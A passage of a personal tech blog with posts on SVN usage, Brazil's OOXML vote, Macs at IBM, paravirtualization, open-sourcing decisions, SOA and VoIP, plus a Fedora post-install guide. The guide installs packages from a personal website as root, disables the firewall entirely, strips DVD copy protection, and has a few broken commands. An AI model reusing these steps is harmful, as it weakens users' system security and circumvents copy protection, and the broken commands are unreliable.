    bash$ svn -m "Links of official releases" mkdir http://svn.alkalay.net/blogicons/tags
    bash$ svn -m "Official 20070518 version" cp http://svn.alkalay.net/blogicons/trunk http://svn.alkalay.net/blogicons/tags/20070518
  5. Check how it looks pointing the browser to http://svn.alkalay.net/blogicons/

Manage project files:

  • Add files
    bash$ cd blogicons
    bash$ svn add newfile.svg
    bash$ svn add newfiles.*
  • Remove files
    bash$ cd blogicons
    bash$ svn rm oldfile.svg
    bash$ svn rm oldfiles.*
  • To embed the file’s meta information in itself as a comment
    bash$ cd blogicons
    bash$ echo "<!-- $Id$ -->" >> file.xml
    bash$ echo "/* $Id$ */" >> file.c
    bash$ echo "// $Id$" >> file.cpp
    bash$ echo "# $Id$" >> file.sh
    bash$ echo "# $Id$" >> Makefile
    bash$ svn propset svn:keywords Id file.xml file.c file.cpp file.sh Makefile

    Every time changes and commits happen, the $Id$ tag will be replaced as this examples:

    <!-- $Id: file.xml 148 2007-07-28 21:30:43Z username $ -->
    /* $Id: file.c 148 2007-07-28 21:30:43Z username $ */
    // $Id: file.cpp 148 2007-07-28 21:30:43Z username $
    # $Id: file.sh 148 2007-07-28 21:30:43Z username $
    # $Id: Makefile 148 2007-07-28 21:30:43Z username $

    People use to put the $Id$ tag in the beginning of source files. The example show how to put in the end, but that’s because it is easy to represent it here in the documentation. You should put $Id$ tags in the beginning of the file.

  • Commit changes to repository
    bash$ cd blogicons
    bash$ svn -m "Changed color to red on icon A, moved the circle shape to left on icon C" commit

    Use descriptive comments favoring WHAT changed on files and not which files changed.

OOXML: Brazil Says NO

After a very difficult and inconclusive meeting in ABNT (Brazilian Technical Standards Organization) office last tuesday, the standards process director had to analyze the audio recording of all the meeting, review some facts, review again all 63+2 comments produced by the technical group about the ECMA specification, and conclude that a NO for OOXML is the correct position for Brazil in ISO Fast Track process.

Brazil will fill the ISO form with a NO and will attach the 63+2 technical comments to it.

I was a member of the technical group that have studied OOXML specification extensively. I learned that it is unbelievable how ECMA (same guys that put together the JavaScript standard!) can think that a wannabe spec like OOXML is ready for submission. It is incomplete (does not provide mappings with legacy standards, since compatibility is OOXML goal), too long (6000+ pages), fully tied to a single product, uses deprecated substandards, promotes bad practices (embedded binary objects), has clear proprietary hooks (like “formatAsWord95” XML tags), reinvents the wheel all around (date and color formats etc), and most of all does not have a standards-grade look and feel required for a universal and (virtually) eternal document format (doesn’t have to be perfect, but can’t be that imperfect).

Shame on you, ECMA. Your position as a trusted standards organization was severely damaged.

In my opinion, the YES-voting countries are not reading the OOXML specification, are making a pure political decision or simply don’t have a standardization process. This is not to mention that they completely ignored the fact that a similar standard — ODF — already exists. Neither is the case of Brazil and our ABNT.

Countries that will absent their vote probably had a tough time in the decision process with a lot of conflicts between political ramblings and technical facts. This was almost the case for Brazil and our ABNT, but we got the courage to do the right thing.

In parallel, ABNT is turning the OpenDocument Format into a national standard and will adopt and promote as it is: a truly open, universal and independent format for digital documents.

This is a happy day.

Media news that link here (a.k.a. egotrip):

Links to other sources:

Impressões Sobre Reunião Final da ABNT

Era uma incógnita absoluta como iria terminar a reunião de votação do OOXML. E de fato terminou de forma inédita.

Não é responsabilidade da ABNT definir tecnicamente um padrão, e sim somente estabelecer e liderar o processo para que os interessados da sociedade decidam sobre ele.

Hoje a ABNT viveu uma reunião como nenhuma outra em sua história, acredito. As opiniões estavam tão divididas e irredutíveis que Eugênio, o diretor de normatização, teve que assumir uma posição de muita responsabilidade e ele próprio decidir pelo voto baseado nos relatos gravados da reunião. Ele teve presença de espírito suficiente para perceber que a discussão poderia demorar mais 8 semanas e não chegar num consenso.

O processo funciona mais ou menos assim:

  1. A ECMA/Microsoft submeteu a especificação OOXML para se tornar uma norma ISO.
  2. A ISO instala o processo Fast Track onde as National Bodies (ABNT no caso do Brasil) de vários países analisam a qualidade da especificação para votar SIM, NÃO ou abstenção na ISO. Votos SIM e NÃO podem vir acompanhados de comentários.
  3. A ABNT criou um Grupo de Trabalho (GT2) a uns meses atrás para fazer um estudo técnico do OOXML. Participaram do estudo empresas e entidades a favor e contra o OOXML. Eu participei pela IBM.
  4. O trabalho do GT2 como um todo se consolidou em 63 comentários de melhoria à especificação, mais 2 comentários muito polêmicos que foram tratados de forma separada, mais algumas dezenas de comentários muito pertinentes que ou não houve tempo de incluí-los na mesma lista dos 63, ou concordou-se que deveriam ficar de fora. Esse trabalho terminou nesta segunda, 20 de agosto, um dia antes da reunião de hoje.
  5. O processo da ABNT dita que para eliminar um desses 63+2 comentários técnicos, deve-se apresentar uma contraposição fundamentada. Caso contrário, tal comentário é categorizado como um consenso de que é válido. Este é um ponto muito importante do processo.
  6. Há quem ache que os comentários não são relevantes, e nesse caso vota SIM ou SIM com os comentários. E há quem ache que são relevantes, e no caso vota NÃO ou NÃO com os comentários.

Fernando Gebara repassando os 63 comentários.Os 63 comentários foram lidos na parte da manhã e gastamos quase a tarde inteira para discutir calorosamente somente um dos 2 comentários polêmicos. Soa como discutir o sexo dos anjos: ninguém parece estar errado nem certo.

No fim do dia, Eugênio voltou para o desenrolar e se deparou com uma total indefinição. Analisou rapidamente a situação e colocou a reunião num trilho de raciocínio lógico. Primeiro constatou que todos concordavam com os 63 comentários e que eles não tinham contraposições fundamentadas. Depois verificou que as pessoas não queriam que a posição do Brasil fosse abstenção. Sobrou o SIM ou o NÃO.

A Microsoft e algumas empresas parceiras não aceitavam um NÃO mas ao mesmo tempo concordaram que os comentários eram pertinentes. Corinto Meffe, do Ministério do Planejamento, argumentou, e todos concordaram, que comentários anexos a um NÃO teriam mais força de transformação da especificação do que os mesmos acompanhados por um SIM. Neste último caso, não se sabe se a ECMA/Microsoft iriam acata-los, o que desvalorizaria o trabalho do GT2 e a opinião técnica do Brasil no mundo. O NÃO com comentários fazia mais sentido. Aparentemente inclusive aos olhos do Eugênio.

Era evidente o balanço de opiniões. Todas as empresas e instituições governamentais como MCT, ITI, MP, Banco do Brasil, Caixa Econômica, Correios, Serpro, Celepar, etc, mais organizações como BrOffice.org, Rede Livre, ODF Alliance, mais empresas do calibre da Sun, Red Hat, 4Linux, IBM, Metrô de São Paulo, Google e outras, votariam NÃO.

O SIM era mantido pela Microsoft, UNESP, SUCESU-SP, Associação de Parceiros Microsoft, e mais uma porção de empresas regionais ou de alcance menor.

Numa votação informal deu 27 NÃOs e 24 SIMs. Mas isso não representa a sociedade, e o objetivo é chegar a um consenso, e não resultado por votação.

Eugênio assumiu uma missão para as próximas horas. Ele deve analisar o teor dos argumentos na reunião e provavelmente medir o peso das divergências. Por exemplo, talvez ele calcule que o opinião de um parceiro regional da Microsoft tem uma relevância mais focada que o de uma empresa global como o Google, ou não estaria tão sintonizado com os desejos intrínsecos da sociedade em geral como as instituições públicas.

Isso é um exemplo de critério que faz sentido para mim, mas não sei que linha ele vai tomar. E é importante não pressionar a ABNT nem o Eugênio por que é comprovadamente uma questão muito difícil.

De qualquer forma, tudo indica, mas sem nenhuma certeza, que o Brasil dará um NÃO com comentários ao OOXML.

Há especulações que outros fatores podem influenciar a decisão final. Mas na minha opinião, o processo da ABNT tem sentido e lógica, é bem formal, e foi seguido na medida do possível. Aos meu olhos somente o processo em sí, e nenhum outro fator político externo, definiram o trilho para se chegar ao voto do Brasil.

Seja qual for, vamos saber nas próximas horas, e não vamos cantar vitória antes disso.

MacBooks at IBM


I spend the first week of this trip to US in IBM Somers campus, a set of buildings where most of the company’s head quarters are located.

I went to many meetings with people in the CIO organization, IBM Academy of Technology and others, and surprisingly many high level people have MacBooks as their primary laptops. No Thinkpads, no Windows. I also noticed there is an internal Mac@IBM community with an Intranet home page, forums etc.

Although, for historical reasons, our official platform for desktops and laptops is still Windows, current IBM strategy for this matter is something like “hey, use whatever platform, browser, office suite, etc you want, because we are heading towards an Open Standards way”. This is called [cultural] diversity.

This is good, I like it, and this is the spirit that our internal Linux deployment relies on. Compared to Mac, Linux has a bigger community of users, more fully supported internal applications, and more internal developers. But I can say that Macs are more popular amongst VIPs.

The basic minimal software kit for IBM employees is Lotus Notes for workgroup, Sametime for instant messaging, a standard compliant browser as Firefox, and maybe some office suite. Well, Firefox runs everywhere, Sametime is 100% Java, Lotus Notes 8 is based on Java Eclipse and integrates an office suite compatible with OpenDocument Format (OK, is actually OpenOffice.org 2 embeded in Lotus Notes). So the kit runs everywhere, including Windows, Mac, Linux and many mobile platforms (which are also internally encouraged to be used for supermobile workers). Many employees only use this minimal set of tools.

A few more interesting words about Sametime: its being integrated with our global voice infrastructure through VoIP standards as SIP, so you can call any extension in the world using the IP network. You also carry your extension with you wherever you go. The instant messaging tool is the right place for it because it is already very well integrated with our enterprise directory. So we search people, find and chat (by typing) or talk.

Yes, for historical reasons we also use many products based on proprietary technologies. At the time they were chosen Open Standards were not something in the global agenda yet. Or they implement some sort of needed disruptive technology that didn’t have a viable standards-based equivalent. This is the case for the Siebel CRM used by the sales force. Completely proprietary but unique and fulfills our business features.

Although disruptive and proprietary use to walk together in the ICT front, IBM as a technology consumer has been putting Open Standards in its complex equation of what things to buy and use. This may be easy for a small company, but is a huge step for a big enterprise as IBM. And is, in my opinion, an example to be followed.

Nos Domínios da Paravirtualização

A virtualização é um recurso usado para simplificar, esconder ou mascarar detalhes de funcionamento infra-estruturais de um hardware ou de um software. Sua função é fazer um componente simular ou se comportar como outro tipo de equipamento. Desta forma, o que é executado sobre a plataforma virtualizada passa a dar mais foco à sua super-estrutura, ou seja, à lógica de negócio.

Fica mais fácil entender quando classificamos alguns tipos interessantes de virtualização:

  • Driver de dispositivo: esconde detalhes de um dispositivo específico criando uma representação virtual de um dispositivo genérico. É uma das formas mais populares de virtualização.
  • Virtualização de hardware: trata-se de um software que simula todos os aspectos de um computador, incluindo firmware e dispositivos.
  • Virtualização de sistema operacional: provê interfaces genéricas que podem ser usadas por uma ou várias aplicações simultânea-mente. É uma das virtualizações mais completas, mais usadas e a que é menos associada à idéia de virtualização.
  • Virtualização de Servidor de Aplicações: idêntica em todos os aspectos a de SO, mas provê APIs e serviços de ordem mais abstrata. SOs modernos como Linux e Windows já incluem esta camada como parte das funcionalidades que provêem. Como exemplo, temos J2EE e várias outras APIs no universo Linux e .NET no mundo Windows.
  • Grid: pode ser visto como um novo sistema operacional cujas interfaces simplificam, escondem e automaticamente gerenciam uma malha de recursos computacionais heterogêneos e distribuídos.

Poderíamos citar outros tipos, mas o importante agora é entender que o objetivo maior do uso de virtualização é a independência e separação lógica entre camadas de funcionalidades diferentes, melhor gestão de políticas de segurança e melhor aproveitamento de recursos computacionais.

A virtualização de hardware é especialmente prática porque permite manipular o que antes era metal e silício físicos, como informação que pode ser gravada numa mídia e até mesmo transportada via rede. Mas a separação lógica entre a máquina virtual hóspede e o sistema operacional hospedeiro não lhes permite cooperar de forma mais eficiente. Por exemplo, o hospedeiro não sabe como o seu hóspede está usando a memória física. Assim, pode haver um retrabalho em tarefas comuns como gerência de memória virtual.

A paravirtualização, a princípio, parece uma virtualização de hardware, mas propõe que o sistema operacional hóspede saiba que ele está sendo executado na camada virtual e possa interagir com ela. Isso implica em alterações no sistema operacional hóspede, mas garante uma cooperação sem precedentes entre as duas camadas. O ganho imediato desta cooperação é a maior performance do conjunto.

O datacenter do futuro, vislumbrado com tecnologias de paravirtualização do presente, será todo virtual. Muitos dos produtos que hoje são executados em servidores físicos dedicados, sem virtualização, passarão para servidores paravirtuais. Isso acontecerá pois a perda de performance da paravirtualização tende a zero, e ao mesmo tempo ganha-se muita flexibilidade de operação, benefício típico da virtualização em geral.

A máquina paravirtual passa a ser como um líquido que se adapta a qualquer recipiente, podendo ser migrada a quente para outro equipamento com apenas milissegundos de indisponibilidade real, armazenada em backup ou fazer parte de uma infra-estrutura de alta-disponibilidade de máquinas virtuais.

O primeiro sistema operacional moderno que implementou essas modificações para paravirtualização foi o Linux, com o projeto Xen. A idéia se popularizou e aderiram a ela vários fabricantes. Hoje há um diálogo bem sucedido na indústria sobre padronização das interfaces hóspede-hospedeiro.

Com essa padronização se concretizando e com os benefícios que a paravirtualização oferece, podemos dizer que nos próximos anos ela substituirá por completo a tradicional virtualização de hardware.

The Web and the Internet :: A Web e a Internet

  • The Internet is the collection of cables, routers, protocols, servers, IT services and data you can access with a browser or some other networked application.
  • While the Web is a mesh of human relations where knowledge and experiences are being trade.
  • Web 2.0 is the Web that uses the Internet in a more optimized way.

  • A Internet é o emaranhado de cabos, servidores, roteadores, protocolos, dados e serviços de TI que se pode acessar com um browser ou outro programa de rede.
  • Já a Web é a malha de relações humanas onde se troca conhecimento e experiências.
  • A Web 2.0 é a Web que usa a Internet de forma mais otimizada.

Quando Abrir o Código Fonte

Open Source LogoNum evento promovido na Universidade Federal de São Carlos eu fiz uma palestra longa sobre middleware IBM em Linux. No final os estudantes fizeram ótimas perguntas sobre carreira, trabalho, tecnologia e uma das mais interessantes foi essa do título.

A resposta rápida é: se um software fechado ainda traz lucro para seu dono não há porque abrir seu código fonte.

Mas na verdade essa é uma questão deveras delicada, e a decisão é muito difícil de se fazer.

Um software tem dois grandes valores:

  1. O valor de seu código, ou o quanto o mercado valoriza financeiramente a quantidade de trabalho empregada para desenvolver aquele software.
  2. Seu valor ecossistêmico, ou quantas pessoas conhecem bem esse software e estão prontas para trabalhar com (e para) ele, usando, desenvolvendo extensões, escrevendo livros, etc.


O segundo ponto é mais difícil de entender, então para explicar tomemos como exemplo o Adobe Photoshop versus o Gimp. O último tem a maioria das funcionalidades do primeiro e é de graça, mas o primeiro continua sendo muitíssimo mais popular, conhecido, usado, etc. O valor ecossistêmico do Photoshop é bem maior que o do Gimp e isso inclusive aumenta seu valor financeiro.

E para o primeiro ponto, lembrem-se do excelente webserver de código fechado da Netscape que perdeu a guerra ao se deparar com o Apache HTTP Server. O mercado não estava mais disposto a gastar dinheiro com algo tão simples e estrutural como o código fonte de um webserver.

Se você abrir o código cedo demais, vai perder lucro, mas se esperar muito pode perder ecossistema porque seus usuários irão migrar para opções abertas mais flexíveis e mais baratas. A qualidade geral da opção aberta talvez seja inferior num certo momento, mas conforme seu ecossistema cresce, a qualidade também cresce talvez ultrapassando as alternativas fechadas.

Community ROI

Há duas vantagens em abrir o código fonte:

  1. A primeira é tática e está relacionada a terceirizar o trabalho massante de manter um código que não tem mais valor comercial, mas que ainda é vital para outros produtos de maior valor.
  2. A segunda é de ordem estratégica e muito interessante. Consiste em usar o poder social do Open Source em agregar comunidades e assim estabelecer um padrão na área do código que foi aberto. Isso aniquila a concorrência, e se não há um padrão geral estabelecido, a abertura bem sucedida e amadurecida define um Padrão Aberto.

Abrir só com o primeiro ponto em mente, geralmente leva ao fracasso. Foi o caso do Darwin e o OpenSolaris, pois não conseguiram criar ao seu redor um ecossistema viável para sobreviverem sem seu criador. Seu código foi aberto muito tarde, tão tarde que Linux já dominava a cena de sistemas operacionais.


Quando há um equilíbrio entre as duas vantagens acima, abrir o código fonte pode mudar completamente o rumo do mercado naquele setor. Foi o que aconteceu com o Eclipse e o OpenOffice.org. No caso do Eclipse, era uma grossa camada de código muito bem feito mas que dava muito trabalho para manter. Além do fato de que o verdadeiro valor de produto estava no que ficava sobre o Eclipse, como o antigo WSAD da IBM. Quando foram abertos, não havia nem sombra de algo similar em código aberto e com aquela qualidade. O resultado hoje é uma comunidade dinâmica ao seu redor que está levando esses projetos onde nunca se imaginava poderem chegar.

O poder de uma abertura estrategicamente bem pensada pode abalar as bases de um produto bem estabelecido. É o caso do OpenOffice.org mais ODF versus o MS Office e todo o barulho que temos ouvido na mídia e nos governos.

Hoje, softwares que implementam conhecimento muito específico de áreas avançadas como engenharia, arquitetura, negócios, logística, etc estão longe de serem abertos, simplesmente porque o mercado ainda remunera bem seus fabricantes. Há opções abertas, mas é tão difícil criar e autosustentá-las de forma global e com qualidade, que as opções fechadas ainda são melhores.

E softwares que implementam funcionalidades de uso genérico como o de um sistema operacional, servidor de arquivos, webserver, etc, graças ao mundo pequeno que a Internet nos ofereceu já dominam seu escopo inclusive em termos de ecossistema, e ninguém mais se arriscará a criar um concorrente de código fechado. A excessão aqui é o Microsoft Windows, único sistema operacional proprietário e de código fechado, que ainda detém um ecossistema gigante.

Já estamos vivendo uma época em que a decisão de abrir o código fonte não está mais no âmbito da infraestrutura. Nos próximos anos provavelmente vamos ver middlewares populares terem seus códigos abertos. Open Source está avançando nesse setor, e a capacidade dos gestores dessas áreas em tomar decisões inovadoras será o que vai diferencia-los da concorrência.

Isso acontecerá num ritmo natural. Não se pode mudar os nove meses de uma gestação. São idéias que naturalmente estão amadurecendo no mercado.

Fedora Post-installation Configurations

Inspired by an old post by Rui Moura, I’ll maintain here the plain commands needed to setup a freshly installed Fedora or Red Hat system, to include essential softwares they don’t ship by default due to legal issues.

These instructions are currently optimized for Fedora 14, 15 and 16, but most of it should work on any other Fedora and modern Red Hat Enterprise Linux too. Good suggestions provided as comments bellow will be added to this guide.

Index

  1. Permissions Setup
  2. Keeping System Updated
  3. Repositories Setup
  4. Activate Hardware Acceleration on NVidia and Intel GPUs
  5. Install Adobe Flash Player Globally
  6. Install Google Chrome or Chromium Browser
  7. Access LAN Hosts by Name Without a DNS Server (Bonjour, Zeroconf)
  8. Dramatically Improve Fonts
  9. Install Web Standard Fonts
  10. MP3 Support
  11. Amarok: The best audio player for Linux
  12. Enable Any DVD Player Software to Play DVDs from All Regions
  13. General DVD and DivX/Xvid/MP4/H.264 Movie Player
  14. General Digital Video Authoring and Editing tools
  15. Command Line DVD Copy & Decrypting Tool
  16. Enabling GMail as System’s Default Mail Relay (so you get sysadmin e-mails from your machine)
  17. Access Windows NTFS Partitions From Linux
  18. Configure text console in high resolution and smaller fonts

Terms highlighted in red should be changed to match your system.

Permissions Setup

This step will allow you to issue some administrative commands without having to be all the time logged in as root — the system administrator.

bash# echo 'your_plain_loginname_here ALL=(ALL) ALL' >> /etc/sudoers

Note that this is the only command throughout this guide that shows a root prompt (bash#). All other commands are indicated to be run as a regular non-root user (indicated by bash$).

After configuring sudo, every time you execute an administrative command with its help, a password is requested. This is your password (the regular user’s password), not the root password.

Keeping System Updated

Install the following packages so updates will come faster:

bash$ sudo yum -y install yum-presto yum-plugin-fastestmirror

You can also get e-mail notifications about system updates:

bash$ sudo yum -y install yum-cron
bash$ sudo chkconfig yum-cron on

Then make sure your /etc/sysconfig/yum-cron file has the following lines:

CHECK_ONLY=yes
MAILTO=YOUR-EMAIL@address-com

You will get one e-mail every day with a list of updates available. E-mail delivery will only work if you configure your system for that.
After all the steps below and from time to time, update all software installed on your system with the following command:

bash$ sudo yum update

Repositories Setup

RPM Fusion is a repository of many essential multimedia and general purpose software for Fedora and Red Hat systems. It is a good idea to have it configured so you can easily install players for DVDs, MP3s amongst other useful things.

bash$ sudo rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm

Activate Hardware Acceleration on NVidia and Intel GPUs

bash$ sudo yum -y install vdpau-video-freeworld libva-freeworld libva-utils vdpauinfo libva libvdpau kmod-nvidia xorg-x11-drv-nvidia

Install Adobe Flash Player Globally

bash$ sudo rpm -Uvh http://linuxdownload.adobe.com/adobe-release/adobe-release-i386-1.0-1.noarch.rpm
bash$ sudo yum -y install flash-plugin --exclude=AdobeReader\*

On 64bit systems (x86_64) use this:

bash$ sudo rpm -Uvh http://linuxdownload.adobe.com/adobe-release/adobe-release-i386-1.0-1.noarch.rpm
bash$ sudo yum -y install flash-plugin nspluginwrapper.x86_64 nspluginwrapper.i686 alsa-plugins-pulseaudio.i686 libcurl.i686 --exclude=AdobeReader\*
bash$ mkdir -p ~/.mozila/plugins; ln -s /usr/lib/flash-plugin/libflashplayer.so ~/.mozila/plugins

Restart your browser to activate the plugin. For reference: Flash Player for Linux home page.

Install Google Chrome or Chromium Browser

There are 2 ways to install Chrome or Chromium:

  • Chrome is packaged by Google, has less frequent update cycles, includes Flash and H.264 support.
    bash$ sudo wget -O /etc/yum.repos.d/google.repo http://avi.alkalay.net/articlefiles/2011/01/google.repo
    bash$ yum -y install google-chrome-beta

    You can also find Picasa on the same repo but is 32 bit only and not on the latest versions.

  • Chromium is the open-source-only part of Chrome, it is more well packaged by the Fedora community, is more well integrated into the desktop, has more frequent update cycles but doesn’t include Flash (that can be added separately). All the rest is the same and I prefer Chromium.
    bash$ sudo wget -O /etc/yum.repos.d/fedora-chromium-stable.repo http://repos.fedorapeople.org/repos/spot/chromium-stable/fedora-chromium-stable.repo
    bash$ sudo yum -y install chromium

Access LAN Hosts by Name Without a DNS Server

You can access servers and machines on you LAN by name, instead of using their long IP address using the Zeroconf standard (implemented as Avahi in Linux). This is so useful and works out of the box in Ubuntu. The setup in Fedora is easy too, but not automatic.

bash$ sudo yum -y install avahi-tools nss-mdns

Now, instead of accessing local hosts by their IP, you can use the .local domain appended to their names. Just like this:

bash$ ssh 10.0.0.5 # stop using the IP address of dbserver
bash$ ssh dbserver.local # start using its hostname

Evnetually this will only work if you correctly configure or disable packet filtering (firewalling). To disable:

bash$ sudo service iptables stop
bash$ sudo service ip6tables stop
bash$ sudo chkconfig --del iptables  # disable even for next reboots
bash$ sudo chkconfig --del ip6tables # disable even for next reboots

Tip grabbed from Fedora Project wiki.

Dramatically Improve Fonts

bash$ sudo yum install freetype-freeworld

Logoff and login again your graphical environment to this update take effect.

To understand why you need this update read this section on the Linux Font HOWTO.

The freetype-freeworld package uses a technique described in this bug report.

Install Web Standard Fonts

These packages include popular fonts as Arial, Times New Roman, Tahoma, Verdana, as well as new Windows Vista and MS Office 2007 fonts. Learn more.

bash$ sudo rpm -Uvh \
http://avi.alkalay.net/software/webcore-fonts/webcore-fonts-3.0-1.noarch.rpm \
http://avi.alkalay.net/software/webcore-fonts/webcore-fonts-vista-3.0-1.noarch.rpm

Then, configure your desktop as described in the Linux Font HOWTO, for KDE or Gnome.

MP3 Support

For Gnome and GStreamer:

bash$ sudo yum -y install gstreamer-plugins-ugly libmad libid3tag id3v2


For KDE:

bash$ sudo yum -y install kdemultimedia-extras-nonfree id3v2

Amarok: The best audio player for Linux

bash$ sudo yum -y install amarok-extras-nonfree

Enable Any DVD Player Software to Play DVDs from All Regions

bash$ sudo wget -O /etc/yum.repos.d/atrpms.repo http://avi.alkalay.net/articlefiles/2011/01/atrpms.repo
bash$ sudo rpm --import http://packages.atrpms.net/RPM-GPG-KEY.atrpms
bash$ sudo yum --enablerepo=atrpms -y install libdvdcss

General DVD and DivX/Xvid/MP4/H.264 Movie Player

bash$ sudo yum -y install gnome-mplayer

General Digital Video Authoring and Editing tools

bash$ sudo yum -y install mencoder mkvtoolnix mkvtoolnix-gui ffmpeg avidemux subtitleripper

Command Line DVD Copy & Decrypting Tool

bash$ sudo yum -y install vobcopy

Now, thanks to libdvdcss installed above, you can use vobcopy to clone DVD while removing their protections like this:

bash$ sudo mount /dev/dvd /mnt
bash$ cd /some/directory
bash$ vobcopy -m /mnt

Enabling GMail as System’s Default Mail Relay (so you get sysadmin e-mails from your machine)

See an updated post about it, ready for Fedora 20.

Access Windows NTFS Partitions From Linux

bash$ sudo yum -y install ntfs-config

Then run the ntfs-config-root graphical tool and configure your partitions to be writable and mountable.

bash$ sudo /usr/sbin/ntfs-config-root

An example of my system:
NTFS config tool screenshot
After you configure the tool and quit, your NTFS partitions will be mounted in the specified place. In my case /media/Windows and /media/Work.

Configure text console in high resolution and smaller fonts

This tip is for the text console.

bash$ sudo echo 'SYSFONT="lat0-08"' >> /etc/sysconfig/i18n  # set a ISO-8859-15 font
bash$ sudo echo 'fbset 1024x768-60' >> /etc/rc.d/rc.local    # set console resolution to 1024x768 @ 60Hz

These settings will take effect after a reboot, but you can test them before rebooting executing the following commands:

bash$ sudo setfont lat0-08
bash$ sudo fbset 1024x768-60

Note that you can set different resolutions than 1024×768 if you have a video card and monitor that will accept it. A full list of modes can be listed with the command:

bash$ grep "mode " /etc/fb.modes

SOA, Web Services, Virtualização, Grid, Web 2.0: Mashup gigante

SOA é um estilo de arquitetura que tenta alinhar melhor processos de negócio com a TI.

Apesar de os frabricantes de TI — como a IBM — serem os que mais falam sobre isso, ingressar em SOA significa primeiro modularizar seus processos de negócio para depois mapear isso aos módulos de aplicações e infra-estrutura.

Grid é um conceito meio obsoleto. Como conceito, mas não como tecnologia. O conceito é obsoleto porque sua atuação é extremamente estrutural e muito complexa. Toda a terminologia relacionada a Grid tem caráter técnico, difícil de explicar e de nada adianta uma empresa pensar em Grid se seus processos de negócio e aplicações que os implementam não estiverem modularizados.

Por isso inventaram SOA. Para que provedores de TI pudessem ter um discurso mais ameno e acessível ao vender a idéia para gestores em seus clientes. E também para atacar o problema do excesso de complexidade da TI do cliente em sua raiz: na modelagem de seus processos de negócio.

E Web Services, onde entra? Dividindo em camadas, o conceito de SOA mora na fronteira entre negócios e TI. Na hora em que os processos vão se materializar em software e aplicações, a boa prática sugere usarmos certos padrões de desenvolvimento, de integração entre módulos. Esses padrões foram agrupados juntos nas especificações de Web Services, e se preocupam em definir como se faz chamadas a serviços (métodos) remotos, como um serviço encontra outro, etc. Então, nessas camadas conceituais, Web Services encontra-se logo abaixo de SOA.

E Grid está logo abaixo de Web Services. Ocupa-se dos mesmos problemas e soluções, mas com abordagens mais operacionais. Grid nasceu em um ambiente científico e WS em um ambiente de aplicações de negócios. Reinventaram a roda um do outro diversas vezes. Mas nos últimos anos têm juntado esforços para limpar os overlaps a fim de produzir um único conjunto de métodos e boas práticas.

Tudo isso é Virtualização

Se a virtualização de hardware (Xen, VMWare, z/VM) divide um equipamento em vários pedacinhos, SOA, WS e Grid dividem a aplicação em vários pedacinhos funcionais.

A virtualização de software (SOA, etc.) é mais difícil de fazer. Mas é também muito mais poderosa que a de hardware. Traz benefícios mais consistentes, mais abrangentes (porque tiveram que arrumar a casa dos negócios antes) e de mais longo prazo.

Tudo isso tem a ver com a Web 2.0

Explicar Web 2.0 está fora do escopo agora, mas sua arquitetura tem muito a ver com SOA.

Ao invés de feeds, podcasts e APIs JavaScript da Web 2.0, SOA tem serviços, provedores de dados e de funcionalidades. Equivalente ao HTML, capaz de juntar funcionalidades e dados de diversos sites, SOA tem a Linguagem de Execução de Processo de Negócio (BPEL, que é XML) que define a ordem e dependências ao juntar Web Services para formar uma aplicação maior. O papel das tags e folksonomy da Web 2.0, é exercido pelo UDDI no contexto de Web Services.

Mashups da Web 2.0 (experimente o iGoogle) são as Aplicações Compostas do SOA (veja também na Wikipedia).

E o Enterprise Service Bus do SOA (também na Wikipedia) tem o Browser como seu equivalente na Web 2.0. Sim, porque ambos tem a missão de materializar as conexões lógicas definidas pelo DHTML ou BPEL.

Web 2.0 é a Arquitetura Orientada a Serviços global.

Maravilhas da Telefonia Moderna

Vou usar este post para descarregar as coisas maravilhosas que tenho descoberto sobre telefonia móvel, VoIP, e suas aplicações para o mundo corporativo.

Este assunto é fascinante e importante porque telefonia móvel está intimamente ligada a conectividade móvel. A pessoas estarem 100% do tempo conectadas, trocando informações e conhecimento. Desde Graham Bell muita coisa mudou e o conceito todo foi diversas vezes reinventado.

  • VoIP é um assunto de muitos donos. Cada fabricante de PBX (central telefônica, Cisco, Avaya, Nortel, etc) inventa seus protocolos proprietários. O padrão universal se estabeleceu com o SIP, que é um protocolo muito parecido com HTTP.
  • A partir do momento em que duas pontas (computadores, smartphones) tem IPs e um software capaz de “falar” SIP, elas podem fazer uma conexão direta e começar a conversa de voz, video, ou texto.
  • Um softphone é um software que implementou o padrão SIP. Isso é muito fácil, em parte porque o SIP é um padrão aberto. Em Windows eu uso o PhonerLite e em Linux uso o Ekiga e o KPhone.
  • A parte proprietária do SIP são alguns codecs de voz: eles são necessários para comprimir (e descomprimir) a voz entre os interlocutores, e funcionam mais ou menos como compressão em MP3, só que otimizados para voz. Os proprietários são o G.711, G.726 e os codecs abertos são os excelentes Speex e o iLBC. Se não há um codec comum entre as duas pontas, algum intermediário terá que fazer a conversão, e esse é um dos papeis do PBX (ou central telefônica).
  • Pode-se montar uma central telefônica em casa com um PC velho e com pouca RAM, usando o Asterisk, que nada mais é do que um software que implementa a lógica de uma central. Mais fácil ainda, pode-se usar o life CD do AstLinux (que contém o Asterisk) e bootar qualquer PC como um PBX IP.
  • Pode-se montar uma central telefônica online gratuitamente, usando serviços como o PBXes. Cadastra-se os usuários e seus softphones e pode-se configurar serviços como um número para conferência, número que faz tocar vários telefones simultaneamente, caixa postal, voice mail para e-mail, etc.
  • Para usar SIP para ligar para números de telefonia convencional (land lines) no mundo todo, é necessário comprar serviços de minutagem de algum provedor. O mais barato que conheço é o SIP Discount com preços realmente agressivos, e alguns países totalmente gratuitos. Esse processo todo é similar a usar o Skype, só que o software é genérico, e a minutagem é muitíssimo mais barata. Diga-se de passagem, entre todos esses serviços de minutagem VoIP, o Skype é o mais proprietário e de longe o mais caro. Outros serviços são o Ekiga.net, Gizmo, VoIP Discount (da mesma empresa do SIP Discount, mas com softphone proprietário).
  • O único inconveniente em usar SIP é substituir o telefone pelo computador. Na prática é desconfortável, e não temos um computador conectado sempre conosco. Mas isso já está sendo resolvido. Leia adiante.

Nokia: O Celular das Pessoas Conectadas

A Nokia não me pagou para dizer isso, mas com certeza meu próximo celular será um smartphone desse fabricante, da linha N ou E.

  • Esses celulares mais avançados tem um cliente SIP embutido e integrado. Ao se escolher um número da agenda para ligar, ele pergunta se a ligação é normal ou pela Internet. Até aí não há nenhuma diferença em pegar um smartphone qualquer, por exemplo baseado em Windows Mobile 5.0, e instalar um softphone nele. Mas esse SO não vai te deixar ficar on line o tempo todo: sua bateria vai acabar antes da hora do almoço.
